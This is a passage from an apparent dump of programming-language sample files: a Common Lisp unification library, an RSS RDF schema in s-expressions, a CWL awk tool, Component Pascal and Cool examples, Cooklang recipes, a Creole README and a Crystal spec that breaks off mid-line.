+fail+\r\n> (unify '?x 1)\r\n((?x . 1))\r\n> (unify '(1 1) ?x)\r\n((? x 1 1))\r\n> (unify '?_ '?x)\r\n((NIL))\r\n> (unify '(p ?x 1 2) '(p ?y ?_ ?_))\r\n((?x . ?y))\r\n> (unify '(?a . ?_) '(1 2 3)) \r\n((?a . 1)) \r\n> (unify '(?_ ?_) '(1 2))\r\n((nil))\r\n> (unify '(?a . ?b) '(1 2 3)) \r\n((?b 2 3) (?a . 1)) \r\n> (unify '(?a . ?b) '(?v . ?d)) \r\n((?b . ?d) (?a . ?v)) \r\n> (unify '(?eval (+ 1 1)) '1) \r\nnil\r\n> (unify '(?eval (+ 1 1)) '2) \r\n(nil)) \r\n____________________________________________________________________________|#\r\n\r\n(defun unify (x y &optional (bindings +no-bindings+))\r\n  \"See if x and y match with given bindings.  If they do,\r\n  return a binding list that would make them equal [p 303].\"\r\n  (cond ((eq bindings +fail+) +fail+)\r\n        ((eql x y) bindings)\r\n        ((eval? x) (unify-eval x y bindings))\r\n        ((eval? y) (unify-eval y x bindings))\r\n        ((variable? x) (unify-var x y bindings))\r\n        ((variable? y) (unify-var y x bindings))\r\n        ((and (consp x) (consp y))\r\n         (unify (rest x) (rest y) \r\n                (unify (first x) (first y) bindings)))\r\n        (t +fail+)))\r\n\r\n\r\n;; rename-variables: renombra ?X por ?X.1, ?Y por ?Y.2 etc. salvo ?_ que no se renombra\r\n(defun rename-variables (x)\r\n  \"Replace all variables in x with new ones. Excepto ?_\"\r\n  (sublis (mapcar #'(lambda (var) \r\n\t\t      (if (anonymous-var? var)\r\n\t\t\t  (make-binding var var)\r\n\t\t\t(make-binding var (new-variable var))))\r\n\t\t  (variables-in x))\r\n\t  x))\r\n\r\n\r\n\r\n;;;; Auxiliary Functions\r\n\r\n(defun unify-var (var x bindings)\r\n  \"Unify var with x, using (and maybe extending) bindings [p 303].\"\r\n  (cond ((or (anonymous-var? var)(anonymous-var? x)) bindings)\r\n\t((get-binding var bindings)\r\n\t (unify (lookup var bindings) x bindings))\r\n\t((and (variable? x) (get-binding x bindings))\r\n\t (unify var (lookup x bindings) bindings))\r\n\t((occurs-in? var x bindings)\r\n\t +fail+)\r\n\t(t (extend-bindings var x bindings))))\r\n\r\n(defun variable? (x)\r\n  \"Is x a variable (a symbol starting with ?)?\"\r\n  (and (symbolp x) (eql (char (symbol-name x) 0) #\\?)))\r\n\r\n(defun get-binding (var bindings)\r\n  \"Find a (variable . value) pair in a binding list.\"\r\n  (assoc var bindings))\r\n\r\n(defun binding-var (binding)\r\n  \"Get the variable part of a single binding.\"\r\n  (car binding))\r\n\r\n(defun binding-val (binding)\r\n  \"Get the value part of a single binding.\"\r\n  (cdr binding))\r\n\r\n(defun make-binding (var val) (cons var val))\r\n\r\n(defun lookup (var bindings)\r\n  \"Get the value part (for var) from a binding list.\"\r\n  (binding-val (get-binding var bindings)))\r\n\r\n(defun extend-bindings (var val bindings)\r\n  \"Add a (var . value) pair to a binding list.\"\r\n  (append \r\n   (unless (eq bindings +no-bindings+) bindings)\r\n   (list (make-binding var val))))\r\n\r\n(defun occurs-in? (var x bindings)\r\n  \"Does var occur anywhere inside x?\"\r\n  (cond ((eq var x) t)\r\n        ((and (variable? x) (get-binding x bindings))\r\n         (occurs-in? var (lookup x bindings) bindings))\r\n        ((consp x) (or (occurs-in? var (first x) bindings)\r\n                       (occurs-in? var (rest x) bindings)))\r\n        (t nil)))\r\n\r\n(defun subst-bindings (bindings x)\r\n  \"Substitute the value of variables in bindings into x,\r\n  taking recursively bound variables into account.\"\r\n  (cond ((eq bindings +fail+) +fail+)\r\n        ((eq bindings +no-bindings+) x)\r\n        ((and (listp x) (eq '?eval (car x)))\r\n         (subst-bindings-quote bindings x))\r\n        ((and (variable? x) (get-binding x bindings))\r\n         (subst-bindings bindings (lookup x bindings)))\r\n        ((atom x) x)\r\n        (t (cons (subst-bindings bindings (car x)) ;; s/reuse-cons/cons\r\n\t\t (subst-bindings bindings (cdr x))))))\r\n\r\n(defun unifier (x y)\r\n \"Return something that unifies with both x and y (or fail).\"\r\n (subst-bindings (unify x y) x))\r\n\r\n(defun variables-in (exp)\r\n  \"Return a list of all the variables in EXP.\"\r\n  (unique-find-anywhere-if #'variable? exp))\r\n\r\n(defun unique-find-anywhere-if (predicate tree &optional found-so-far)\r\n  \"Return a list of leaves of tree satisfying predicate,\r\n  with duplicates removed.\"\r\n  (if (atom tree)\r\n      (if (funcall predicate tree)\r\n          (pushnew tree found-so-far)\r\n          found-so-far)\r\n    (unique-find-anywhere-if\r\n        predicate\r\n        (first tree)\r\n        (unique-find-anywhere-if predicate (rest tree)\r\n                                 found-so-far))))\r\n\r\n(defun find-anywhere-if (predicate tree)\r\n  \"Does predicate apply to any atom in the tree?\"  \r\n  (if (atom tree)\r\n      (funcall predicate tree)\r\n      (or (find-anywhere-if predicate (first tree))\r\n          (find-anywhere-if predicate (rest tree)))))\r\n\r\n(defun new-variable (var)\r\n  \"Create a new variable.  Assumes user never types variables of form ?X.9\"\r\n  (gentemp (format nil \"~S.\" var)))\r\n;  (gentemp \"?\") )\r\n;;;\r\n\r\n(defun anonymous-var? (x)\r\n  (eq x '?_))\r\n\r\n(defun subst-bindings-quote (bindings x)\r\n  \"Substitute the value of variables in bindings into x,\r\n  taking recursively bound variables into account.\"\r\n  (cond ((eq bindings +fail+) +fail+)\r\n        ((eq bindings +no-bindings+) x)\r\n        ((and (variable? x) (get-binding x bindings))\r\n         (if (variable? (lookup x bindings))\r\n             (subst-bindings-quote bindings (lookup x bindings))\r\n             (subst-bindings-quote bindings (list 'quote (lookup x bindings)))\r\n         )\r\n        )     \r\n        ((atom x) x)\r\n        (t (cons (subst-bindings-quote bindings (car x)) ;; s/reuse-cons/cons\r\n\t\t (subst-bindings-quote bindings (cdr x))))))\r\n\r\n(defun eval? (x)\r\n  (and (consp x) (eq (first x) '?eval)))\r\n\r\n(defun unify-eval (x y bindings)\r\n  (let ((exp (subst-bindings-quote bindings (second x))))\r\n    (if (variables-in exp)\r\n\t+fail+\r\n      (unify (eval exp) y bindings))))\r\n\r\n\r\n\r\n(defun rule-ifs (rule) (fourth rule))\r\n(defun rule-then (rule) (second rule))\r\n\r\n\r\n(defun equality? (term)\r\n  (and (consp term) (eql (first term) '?=)))\r\n\r\n\r\n(defun in-fact-list? (expresion)\r\n  (some #'(lambda(x) (equal x expresion)) *fact-list*))\r\n                     \r\n(defun not-in-fact-list? (expresion)\r\n  (if (eq (car expresion) 'NOT)\r\n      (in-fact-list? (second expresion))\r\n    (in-fact-list? (list 'NOT expresion))))\r\n\r\n\r\n;; add-fact:\r\n\r\n(defun add-fact (fact)\r\n  (setq *fact-list* (cons fact *fact-list*)))\r\n\r\n\r\n(defun variable? (x)\r\n  \"Is x a variable (a symbol starting with ?) except ?eval and ?=\"\r\n  (and (not (equal x '?eval)) (not (equal x '?=)) \r\n       (symbolp x) (eql (char (symbol-name x) 0) #\\?)))\r\n\r\n\r\n;; EOF"
  },
  {
    "path": "samples/Common Lisp/rss.sexp",
    "content": "\n(:TURTLE\n\n (:@PREFIX \"rdf:\" \"<http://www.w3.org/1999/02/22-rdf-syntax-ns#>\")\n (:@PREFIX \"owl:\" \"<http://www.w3.org/2002/07/owl#>\")\n (:@PREFIX \"dc:\" \"<http://purl.org/dc/elements/1.1/>\")\n (:@PREFIX \"xsd:\" \"<http://www.w3.org/2001/XMLSchema#>\")\n (:@PREFIX \"rdfs:\" \"<http://www.w3.org/2000/01/rdf-schema#>\")\n\n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/channel>\")\n \n   (:PREDICATE-OBJECT-LIST\n     (:URIREF #1=\"<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\")\n     (:OBJECTS\n       (:QNAME \"rdfs:Class\")))\n       \n   (:PREDICATE-OBJECT-LIST\n     (:QNAME \"rdfs:comment\")\n     (:OBJECTS\n       (:STRING \"An RSS information channel.\")))\n       \n   (:PREDICATE-OBJECT-LIST\n     (:QNAME \"rdfs:isDefinedBy\")\n     (:OBJECTS\n       (:URIREF \"<http://purl.org/rss/1.0/>\")))\n       \n   (:PREDICATE-OBJECT-LIST\n     (:QNAME \"rdfs:label\")\n     (:OBJECTS\n       (:STRING \"Channel\"))))\n       \n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/description>\")\n  \n   (:PREDICATE-OBJECT-LIST\n     (:URIREF #1#)\n     (:OBJECTS\n       (:QNAME \"rdf:Property\")))\n      \n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:comment\")\n   (:OBJECTS (:STRING \"A short text description of the subject.\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:isDefinedBy\")\n   (:OBJECTS (:URIREF \"<http://purl.org/rss/1.0/>\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:label\") (:OBJECTS (:STRING \"Description\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:subPropertyOf\") (:OBJECTS (:QNAME \"dc:description\"))))\n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/image>\")\n  (:PREDICATE-OBJECT-LIST (:URIREF #1#) (:OBJECTS (:QNAME \"rdfs:Class\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:comment\") (:OBJECTS (:STRING \"An RSS image.\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:isDefinedBy\")\n   (:OBJECTS (:URIREF \"<http://purl.org/rss/1.0/>\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:label\") (:OBJECTS (:STRING \"Image\"))))\n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/item>\")\n  (:PREDICATE-OBJECT-LIST (:URIREF #1#) (:OBJECTS (:QNAME \"rdfs:Class\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:comment\") (:OBJECTS (:STRING \"An RSS item.\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:isDefinedBy\")\n   (:OBJECTS (:URIREF \"<http://purl.org/rss/1.0/>\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:label\") (:OBJECTS (:STRING \"Item\"))))\n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/items>\")\n  (:PREDICATE-OBJECT-LIST (:URIREF #1#) (:OBJECTS (:QNAME \"rdf:Property\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:comment\")\n   (:OBJECTS\n    (:STRING \"Points to a list of rss:item elements that are members of the subject channel.\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:isDefinedBy\")\n   (:OBJECTS (:URIREF \"<http://purl.org/rss/1.0/>\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:label\") (:OBJECTS (:STRING \"Items\"))))\n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/link>\")\n  (:PREDICATE-OBJECT-LIST (:URIREF #1#) (:OBJECTS (:QNAME \"rdf:Property\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:comment\")\n   (:OBJECTS (:STRING \"The URL to which an HTML rendering of the subject will link.\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:isDefinedBy\")\n   (:OBJECTS (:URIREF \"<http://purl.org/rss/1.0/>\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:label\") (:OBJECTS (:STRING \"Link\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:subPropertyOf\") (:OBJECTS (:QNAME \"dc:identifier\"))))\n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/name>\")\n  (:PREDICATE-OBJECT-LIST (:URIREF #1#) (:OBJECTS (:QNAME \"rdf:Property\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:comment\")\n   (:OBJECTS (:STRING \"The text input field's (variable) name.\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:isDefinedBy\")\n   (:OBJECTS (:URIREF \"<http://purl.org/rss/1.0/>\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:label\") (:OBJECTS (:STRING \"Name\"))))\n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/textinput>\")\n  (:PREDICATE-OBJECT-LIST (:URIREF #1#) (:OBJECTS (:QNAME \"rdfs:Class\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:comment\") (:OBJECTS (:STRING \"An RSS text input.\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:isDefinedBy\")\n   (:OBJECTS (:URIREF \"<http://purl.org/rss/1.0/>\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:label\") (:OBJECTS (:STRING \"Text Input\"))))\n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/title>\")\n  (:PREDICATE-OBJECT-LIST (:URIREF #1#) (:OBJECTS (:QNAME \"rdf:Property\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:comment\")\n   (:OBJECTS (:STRING \"A descriptive title for the channel.\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:isDefinedBy\")\n   (:OBJECTS (:URIREF \"<http://purl.org/rss/1.0/>\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:label\") (:OBJECTS (:STRING \"Title\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:subPropertyOf\") (:OBJECTS (:QNAME \"dc:title\"))))\n (:TRIPLES (:URIREF \"<http://purl.org/rss/1.0/url>\")\n  (:PREDICATE-OBJECT-LIST (:URIREF #1#) (:OBJECTS (:QNAME \"rdf:Property\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:comment\")\n   (:OBJECTS\n    (:STRING\n     \"The URL of the image to used in the 'src' attribute of the channel's image tag when rendered as HTML.\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:isDefinedBy\")\n   (:OBJECTS (:URIREF \"<http://purl.org/rss/1.0/>\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:label\") (:OBJECTS (:STRING \"URL\")))\n  (:PREDICATE-OBJECT-LIST (:QNAME \"rdfs:subPropertyOf\") (:OBJECTS (:QNAME \"dc:identifier\")))))\n"
  },
  {
    "path": "samples/Common Lisp/sample.lisp",
    "content": ";;;; -*- lisp -*-\n\n(in-package :foo)\n\n;;; Header comment.\n(defvar *foo*)\n\n(eval-when (:execute :compile-toplevel :load-toplevel)\n  (defun add (x &optional y &key z)\n    (declare (ignore z))\n    ;; Inline comment.\n    (+ x (or y 1))))\n\n#|\nMulti-line comment.\n|#\n\n(defmacro foo (x &body b)\n  (if x\n      `(1+ ,x)   ;After-line comment.\n      42))\n"
  },
  {
    "path": "samples/Common Lisp/sample.lsp",
    "content": ";;;; -*- lisp -*-\n\n(in-package :foo)\n\n;;; Header comment.\n(defvar *foo*)\n\n(eval-when (:execute :compile-toplevel :load-toplevel)\n  (defun add (x &optional y &key z)\n    (declare (ignore z))\n    ;; Inline comment.\n    (+ x (or y 1))))\n\n#|\nMulti-line comment.\n|#\n\n(defmacro foo (x &body b)\n  (if x\n      `(1+ ,x)   ;After-line comment.\n      42))\n"
  },
  {
    "path": "samples/Common Workflow Language/trunk-peak-score.cwl",
    "content": "#!/usr/bin/env cwl-runner\n# Originally from\n# https://github.com/Duke-GCB/GGR-cwl/blob/54e897263a702ff1074c8ac814b4bf7205d140dd/utils/trunk-peak-score.cwl\n# Released under the MIT License:\n# https://github.com/Duke-GCB/GGR-cwl/blob/54e897263a702ff1074c8ac814b4bf7205d140dd/LICENSE\n# Converted to CWL v1.0 syntax using\n# https://github.com/common-workflow-language/cwl-upgrader\n# and polished by Michael R. Crusoe <mrc@commonwl.org>\n# All modifications also released under the MIT License\ncwlVersion: v1.0\nclass: CommandLineTool\ndoc: Trunk scores in ENCODE bed6+4 files\n\nhints:\n  DockerRequirement:\n    dockerPull: dukegcb/workflow-utils\n\ninputs:\n  peaks:\n    type: File\n  sep:\n    type: string\n    default: \\t\n\noutputs:\n  trunked_scores_peaks:\n    type: stdout\n\nbaseCommand: awk\n\narguments:\n- -F $(inputs.sep)\n- BEGIN{OFS=FS}$5>1000{$5=1000}{print}\n- $(inputs.peaks.path)\n\nstdout: $(inputs.peaks.nameroot).trunked_scores$(inputs.peaks.nameext)\n"
  },
  {
    "path": "samples/Component Pascal/Example.cp",
    "content": "MODULE ObxControls;\n(**\n    project         = \"BlackBox\"\n    organization    = \"www.oberon.ch\"\n    contributors    = \"Oberon microsystems\"\n    version         = \"System/Rsrc/About\"\n    copyright       = \"System/Rsrc/About\"\n    license         = \"Docu/BB-License\"\n    changes         = \"\"\n    issues          = \"\"\n\n**)\n\nIMPORT Dialog, Ports, Properties, Views;\n\nCONST beginner = 0; advanced = 1; expert = 2; guru = 3;    (* user classes *)\n\nTYPE\n    View = POINTER TO RECORD (Views.View)\n        size: INTEGER    (* border size in mm *)\n    END;\n\nVAR\n    data*: RECORD\n        class*: INTEGER;    (* current user class *)\n        list*: Dialog.List;    (* list of currently available sizes, derived from class *)\n        width*: INTEGER    (* width of next view to be opened. Derived from\n                                    class, or entered through a text entry field *)\n    END;\n\n    predef: ARRAY 6 OF INTEGER;    (* table of predefined sizes *)\n\n\nPROCEDURE SetList;\nBEGIN\n    IF data.class = beginner THEN\n        data.list.SetLen(1);\n        data.list.SetItem(0, \"default\")\n    ELSIF data.class = advanced THEN\n        data.list.SetLen(4);\n        data.list.SetItem(0, \"default\");\n        data.list.SetItem(1, \"small\");\n        data.list.SetItem(2, \"medium\");\n        data.list.SetItem(3, \"large\");\n    ELSE\n        data.list.SetLen(6);\n        data.list.SetItem(0, \"default\");\n        data.list.SetItem(1, \"small\");\n        data.list.SetItem(2, \"medium\");\n        data.list.SetItem(3, \"large\");\n        data.list.SetItem(4, \"tiny\");\n        data.list.SetItem(5, \"huge\");\n    END\nEND SetList;\n\n(* View *)\n\nPROCEDURE (v: View) CopyFromSimpleView (source: Views.View);\nBEGIN\n    v.size := source(View).size\nEND CopyFromSimpleView;\n\nPROCEDURE (v: View) Restore (f: Views.Frame; l, t, r, b: INTEGER);\nBEGIN    (* fill view with a red square of size v.size *)\n    IF v.size = 0 THEN v.size := predef[0] END;    (* lazy initialization of size *)\n    f.DrawRect(0, 0, v.size, v.size, Ports.fill, Ports.red)\nEND Restore;\n\nPROCEDURE (v: View) HandlePropMsg (VAR msg: Views.PropMessage);\nBEGIN\n    WITH msg: Properties.SizePref DO\n        IF v.size = 0 THEN v.size := predef[0] END;    (* lazy initialization of size *)\n        msg.w := v.size; msg.h := v.size    (* tell environment about desired width and height *)\n    ELSE    (* ignore other messages *)\n    END\nEND HandlePropMsg;\n\n(* notifiers *)\n\nPROCEDURE ClassNotify* (op, from, to: INTEGER);\nBEGIN    (* react to change in data.class *)\n    IF op = Dialog.changed THEN\n        IF (to = beginner) OR (to = advanced) & (data.list.index > 3) THEN\n            (* if class is reduced, make sure that selection contains legal elements *)\n            data.list.index := 0; data.width := predef[0];    (* modify interactor *)\n            Dialog.Update(data)    (* redraw controls where necessary *)\n        END;\n        SetList;\n        Dialog.UpdateList(data.list)    (* reconstruct list box contents *)\n    END\nEND ClassNotify;\n\nPROCEDURE ListNotify* (op, from, to: INTEGER);\nBEGIN    (* reacto to change in data.list (index to was selected) *)\n    IF op = Dialog.changed THEN\n        data.width := predef[to];    (* modify interactor *)\n        Dialog.Update(data)    (* redraw controls where necessary *)\n    END\nEND ListNotify;\n\n(* guards *)\n\nPROCEDURE ListGuard* (VAR par: Dialog.Par);\nBEGIN    (* disable list box for a beginner *)\n    par.disabled := data.class = beginner\nEND ListGuard;\n\nPROCEDURE WidthGuard* (VAR par: Dialog.Par);\nBEGIN    (* make text entry field read-only if user is not guru *)\n    par.readOnly := data.class # guru\nEND WidthGuard;\n\n(* commands *)\n\nPROCEDURE Open*;\n    VAR v: View;\nBEGIN\n    NEW(v);    (* create and initialize a new view *)\n    v.size := data.width * Ports.mm;    (* define view's size in function of class *)\n    Views.OpenAux(v, \"Example\")    (* open the view in a window *)\nEND Open;\n\nBEGIN    (* initialization of global variables *)\n    predef[0] := 40; predef[1] := 30; predef[2] := 50;    (* predefined sizes *)\n    predef[3] := 70; predef[4] := 20; predef[5] := 100;\n    data.class := beginner;    (* default values *)\n    data.list.index := 0;\n    data.width := predef[0];\n    SetList\nEND ObxControls.\n"
  },
  {
    "path": "samples/Component Pascal/Example2.cps",
    "content": "MODULE ObxFact;\n(**\n    project         = \"BlackBox\"\n    organization    = \"www.oberon.ch\"\n    contributors    = \"Oberon microsystems\"\n    version         = \"System/Rsrc/About\"\n    copyright       = \"System/Rsrc/About\"\n    license         = \"Docu/BB-License\"\n    changes         = \"\"\n    issues          = \"\"\n\n**)\n\nIMPORT\n    Stores, Models, TextModels, TextControllers, Integers;\n\nPROCEDURE Read(r: TextModels.Reader; VAR x: Integers.Integer);\n    VAR i, len, beg: INTEGER; ch: CHAR; buf: POINTER TO ARRAY OF CHAR;\nBEGIN\n    r.ReadChar(ch);\n    WHILE ~r.eot & (ch <= \" \") DO r.ReadChar(ch) END;\n    ASSERT(~r.eot & (((ch >= \"0\") & (ch <= \"9\")) OR (ch = \"-\")));\n    beg := r.Pos() - 1; len := 0;\n    REPEAT INC(len); r.ReadChar(ch) UNTIL r.eot OR (ch < \"0\") OR (ch > \"9\");\n    NEW(buf, len + 1);\n    i := 0; r.SetPos(beg);\n    REPEAT r.ReadChar(buf[i]); INC(i) UNTIL i = len;\n    buf[i] := 0X;\n    Integers.ConvertFromString(buf^, x)\nEND Read;\n\nPROCEDURE Write(w: TextModels.Writer; x: Integers.Integer);\n    VAR i: INTEGER;\nBEGIN\n    IF Integers.Sign(x) < 0 THEN w.WriteChar(\"-\") END;\n    i := Integers.Digits10Of(x);\n    IF i # 0 THEN\n        REPEAT DEC(i); w.WriteChar(Integers.ThisDigit10(x, i)) UNTIL i = 0\n    ELSE w.WriteChar(\"0\")\n    END\nEND Write;\n\nPROCEDURE Compute*;\n    VAR beg, end, i, n: INTEGER; ch: CHAR;\n        s: Stores.Operation;\n        r: TextModels.Reader; w: TextModels.Writer; attr: TextModels.Attributes;\n        c: TextControllers.Controller;\n        x: Integers.Integer;\nBEGIN\n    c := TextControllers.Focus();\n    IF (c # NIL) & c.HasSelection() THEN\n        c.GetSelection(beg, end);\n        r := c.text.NewReader(NIL); r.SetPos(beg); r.ReadChar(ch);\n        WHILE ~r.eot & (beg < end) & (ch <= \" \") DO r.ReadChar(ch); INC(beg) END;\n        IF ~r.eot & (beg < end) THEN\n            r.ReadPrev; Read(r, x);\n            end := r.Pos(); r.ReadPrev; attr :=r.attr;\n            IF (Integers.Sign(x) > 0) & (Integers.Compare(x, Integers.Long(MAX(LONGINT))) <= 0) THEN\n                n := SHORT(Integers.Short(x)); i := 2; x := Integers.Long(1);\n                WHILE i <= n DO x := Integers.Product(x, Integers.Long(i)); INC(i) END;\n                Models.BeginScript(c.text, \"computation\", s);\n                c.text.Delete(beg, end);\n                w := c.text.NewWriter(NIL); w.SetPos(beg); w.SetAttr(attr);\n                Write(w, x);\n                Models.EndScript(c.text, s)\n            END\n        END\n    END\nEND Compute;\n\nEND ObxFact."
  },
  {
    "path": "samples/Cooklang/advanced_recipe.cook",
    "content": "---\ntime required: 90 minutes\n---\n\n===== Nut roll ======\n\nAdd @sugar{1%tbsp} and @yeast{15%g} to the warm @milk{250%ml}.\nMix well until the yeast is fully dissolved.\n\n> This recipe is reconstruction of my grandma's recipes,\n> I tried to reduce sugar amount though.\n\nAdd @flour{5%tbsp} from the total amount and whisk the mixture\ninto a batter-like consistency, similar to pancake batter.\nCover with a #towel{} and place in a warm place for ~{30%minutes}.\n\nThe dough should rise, and bubbles will form on the surface.\n\nAdd @egg{1}, @sugar{100%g}, @vanilla sugar{1%packet}, and\nmelted @butter{50%g} to the mixture. Whisk thoroughly.\n\nGradually add the rest of the @flour{495%g} in two stages and\nknead the dough.\n\nKnead for ~{10-15%minutes}. Cover the dough and place it\nin a warm place for ~{1.5%hours}\n\n== Fillings ==\n\nGrind the stuff. Mix them together.\n\n== Assembly ==\n\nDivide the dough into two equal pieces.\n\nDust the surface with flour and roll the dough into a rectangle\nabout 0.5 cm thick.\n\nGenerously spread the nut filling over the dough, distributing it\nevenly. Leave an empty space along the edges so the roll seals properly.\n\nCarefully roll the dough into a log, pressing it firmly to\navoid air pockets.\n\nPlace it on a baking sheet lined with parchment paper.\n\nRoll out the second piece of dough and form another roll in\nthe same way.\n\nCover the rolls with a towel and let them rest for 20 minutes.\n\nThen brush them with @egg yolk{1} and bake in a preheated oven\n at 170°C for ~{50-60%minutes}.\n"
  },
  {
    "path": "samples/Cooklang/simple_recipe.cook",
    "content": "---\nquick: true\nservings: 4\nprep time: 10 minutes\ncook time: 15 minutes\n---\n\nCrack the @eggs{3} into a blender, then add the @plain flour{125%g}, @milk{250%ml} and @sea salt{1%pinch}, and blitz until smooth.\n\nPour into a #bowl and leave to stand for ~{20%minutes}.\n\nMelt the butter in a large non-stick #frying pan{} on a medium heat, then tilt the pan so the butter coats the surface.\n\nPour in 1 ladle of batter and tilt again, so that the batter spreads all over the base, then cook for 1 to 2 minutes, or until it starts to come away from the sides.\n\nOnce golden underneath, flip the pancake over and cook for 1 further minute, or until cooked through.\n\nServe straightaway, topping with @smoked salmon{} or your favorite topping.\n"
  },
  {
    "path": "samples/Cool/list.cl",
    "content": "(* This simple example of a list class is adapted from an example in the\n   Cool distribution. *)\n\nclass List {\n   isNil() : Bool { true };\n   head()  : Int { { abort(); 0; } };\n   tail()  : List { { abort(); self; } };\n   cons(i : Int) : List {\n      (new Cons).init(i, self)\n   };\n};\n\nclass Cons inherits List {\n   car : Int;\t-- The element in this list cell\n   cdr : List;\t-- The rest of the list\n   isNil() : Bool { false };\n   head()  : Int { car };\n   tail()  : List { cdr };\n   init(i : Int, rest : List) : List {\n      {\n\t car <- i;\n\t cdr <- rest;\n\t self;\n      }\n   };\n};\n"
  },
  {
    "path": "samples/Cool/sample.cl",
    "content": "(* Refer to Alex Aiken, \"The Cool Reference Manual\":\n    http://theory.stanford.edu/~aiken/software/cool/cool-manual.pdf\n   for language specification.\n*)\n\n-- Exhibit various language constructs\nclass Sample {\n    testCondition(x: Int): Bool {\n        if x = 0\n        then false\n        else\n            if x < (1 + 2) * 3\n            then true\n            else false\n            fi\n        fi\n    };\n\n    testLoop(y: Int): Bool {\n        while y > 0 loop\n        {\n            if not condition(y)\n            then y <- y / 2\n            else y <- y - 1;\n        }\n        pool\n    };\n\n    testAssign(z: Int): Bool {\n        i : Int;\n        i <- ~z;\n    };\n\n    testCase(var: Sample): SELF_TYPE {\n        io : IO <- new IO;\n        case var of\n            a : A => io.out_string(\"Class type is A\\n\");\n            b : B => io.out_string(\"Class type is B\\n\");\n            s : Sample => io.out_string(\"Class type is Sample\\n\");\n            o : Object => io.out_string(\"Class type is object\\n\");\n        esac\n    };\n\n    testLet(i: Int): Int {\n        let (a: Int in\n            let(b: Int <- 3, c: Int <- 4 in\n                {\n                    a <- 2;\n                    a * b * 2 / c;\n                }\n            )\n        )\n    };\n};\n\n-- Used to test subclasses\nclass A inherits Sample {};\nclass B inherits A {};\n\nclass C {\n    main() : Int {\n        (new Sample).testLet(1)\n    };\n};\n\n-- \"Hello, world\" example\nclass Main inherits IO {\n    main(): SELF_TYPE {\n        out_string(\"Hello, World.\\n\")\n    };\n};\n"
  },
  {
    "path": "samples/Creole/creole.creole",
    "content": "= Creole\n\nCreole is a Creole-to-HTML converter for Creole, the lightweight markup\nlanguage (http://wikicreole.org/). Github uses this converter to render *.creole files.\n\nProject page on github:\n\n* http://github.com/minad/creole\n\nTravis-CI:\n\n* https://travis-ci.org/minad/creole\n\nRDOC:\n\n* http://rdoc.info/projects/minad/creole\n\n== INSTALLATION\n\n{{{\ngem install creole\n}}}\n\n== SYNOPSIS\n\n{{{\nrequire 'creole'\nhtml = Creole.creolize('== Creole text')\n}}}\n\n== BUGS\n\nIf you found a bug, please report it at the Creole project's tracker\non GitHub:\n\nhttp://github.com/minad/creole/issues\n\n== AUTHORS\n\n* Lars Christensen (larsch)\n* Daniel Mendler (minad)\n\n== LICENSE\n\nCreole is Copyright (c) 2008 - 2013 Lars Christensen, Daniel Mendler. It is free software, and\nmay be redistributed under the terms specified in the README file of\nthe Ruby distribution.\n"
  },
  {
    "path": "samples/Crystal/const_spec.cr",
    "content": "#!/usr/bin/env bin/crystal --run\nrequire \"../../spec_helper\"\n\ndescribe \"Codegen: const\" do\n  it \"define a constant\" do\n    run(\"A = 1; A\").to_i.should eq(1)\n  end\n\n  it \"support nested constant\" do\n    run(\"class B; A = 1; end; B::A\").to_i.should eq(1)\n  end\n\n  it \"support constant inside a def\" do\n    run(\"\n      class Foo\n        A = 1\n\n        def foo\n          A\n        end\n      end\n\n      Foo.new.foo\n    \").to_i.should eq(1)\n  end\n\n  it \"finds nearest constant first\" do\n    run(\"\n      A = 1\n\n      class Foo\n        A = 2.5_f32\n\n        def foo\n          A\n        end\n      end\n\n      Foo.new.foo\n    \").to_f32.should eq(2.5)\n  end\n\n  it \"allows constants with same name\" do\n    run(\"\n      A = 1\n\n      class Foo\n        A = 2.5_f32\n\n        def foo\n          A\n        end\n      end\n\n      A\n      Foo.new.foo\n    \").to_f32.should eq(2.5)\n  end\n\n  it \"constants with expression\" do\n    run(\"\n      A = 1 + 1\n      A\n    \").to_i.should eq(2)\n  end\n\n  it \"finds global constant\" do\n    run(\"\n      A = 1\n\n      class Foo\n        def foo\n          A\n        end\n      end\n\n      Foo.new.foo\n    \").to_i.should 